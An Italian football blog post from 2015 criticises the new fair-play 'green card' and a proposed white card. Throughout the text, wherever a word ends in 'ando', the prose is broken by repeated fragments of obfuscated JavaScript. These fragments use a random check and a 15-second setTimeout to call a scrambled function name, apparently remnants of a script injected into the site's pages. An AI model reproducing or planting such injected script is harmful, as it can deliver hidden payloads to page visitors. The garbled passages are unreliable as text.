The Locker Room

IL CARTELLINO DEI BUONI.

2 settembre 2015 Italia, Soccer Lab
verde

Insomma alla fine avete voluto la Green Card e considerandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando la rapidità con la quale è stata compresa all’unanimità la nuova regola stilata per la casistica del fuorigioco, direi che ad aver introdotto una qualsiasi novità nel regolamento, avete esposto voi stessi, arbitri e assistenti, ad una serie di rischi incredibile.

E’ opportuno fare una prima precisazione; questo nuovo provvedimento disciplinare, per questa stagione sportiva applicabile soltanto nel campionato di Serie B e ai campionati minori, non sarà di carattere punitivo ma sarà adottato in caso di comportamento virtuoso da parte di un giocatore o allenatore.
Le fattispecie in cui utilizzare il nuovo cartellino sono molteplici e tutte legate al cosiddetto fair-play (interrompere il gioco quandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando un avversario è costretto a terra infortunato, riconoscere di aver commesso un comportamento non regolamentare come un fallo o una simulazione, aiutare arbitri e guardalinee nel caso avvenissero situazioni poco chiare in zone dove la visibilità dell’azione è compromessa). Insomma, a chi non bastasse la personale coscienza arriva il cartellino verde, che riportato a referto dal direttore di gara dovrebbe avere un certo peso di fronte al Giudice Sortivo, il quale a fine stagione invierà agli organi competenti della FIGC i vari nominativi dei calciatori premiati dalla Green Card, i quali saranno quindi premiati dalla FIGC.A mio avviso, oltre a dare in dotazione ai direttori di gara una serie infinita di cartellini, una soluzione efficace per un calcio più sostenibile dal punto di vista disciplinare soprattutto a livello giovanile, sarebbe quello di evitare qualsiasi tipo di estremizzazione e logoramento. Vivere il gioco per quello che è, con ambizione e voglia di migliorarsi naturalmente, ma evitare protagonismi e isterie di ogni sorta, sia da parte degli allenatori e dei giocatori, ma anche da parte di arbitri, assistenti e giudici sportivi, autori troppo spesso di referti fantasiosi e decisioni o eccessivamente severe o eccessivamente lassiste.

Se è vero, come è vero, che è dal campetto di provincia che si costruiscono sportivi consapevoli e sereni (e parlandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando di sportivi mi riferisco a tutti gli amanti dello sport, professionisti, giornalisti, tifosi e arbitri) allora il cartellino verde se non seguito da comportamenti coerenti, trasforma un banale questione di buona condotta in una stucchevole opera profetica di fair play e buonismo.
Per quanto riguarda invece l’introduzione della Green Card nel campionato di massima Serie oltre che in quello cadetto, il discorso è un po’ più complesso. Con l’ausilio della tecnologia e la prova tv, l’adeguata formazione e preparazione tecnica e psicologica di direttori di gara capaci, coadiuvati da cinque assistenti, la figura dell’arbitro è praticamente onnipresente: considerato che il calcio è tecnica, spettacolo, tattica e anche un po’ di mestiere, richiedere un comportamento corretto ad un professionista è doveroso, ma pretendere addirittura che questo abbia la condotta morale di una carmelitana scalza contro il suo interesse e quello della propria squadra ad ogni costo, ha la stessa assurdità del pensare che vincere sia l’unica cosa che conta, da raggiungere a qualsiasi costo.
Il problema è che non c’è equilibrio. Abbiamo permesso fino ad oggi ad alcuni giocatori di fare e dire di tutto e venire puniti con provvedimenti ridicoli, facendo passare messaggi ben poco edificanti, visto che ci si riempie sempre la bocca su questo benedetto “messaggio”. E ora d’un tratto, cartellino verde a chi ha paura di quello giallo. Si perchè fondamentalmente per punire chi simula, la soluzione già c’era. E se abbiamo paura che un giocatore non sopporti l’onta di un’ ammonizione, stiamo sbagliandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando qualcosa. Idem se abbiamo paura che un arbitro ancora non sappia utilizzare in maniera propria gli strumenti che già possiede. Questo deve essere un regolamento non un trattato di pedagogia.

PS: Platini avrebbe ipotizzato la proposta di introdurre anche un cartellino bianco. Per le espulsioni a tempo. Se la UEFA lo farà rispettare con la solerzia e la puntualità con cui ha fatto rispettare la regola del fair play finanziario, finirà che in campo invece che un uomo in meno ci ritroveremo quaranta persone in più.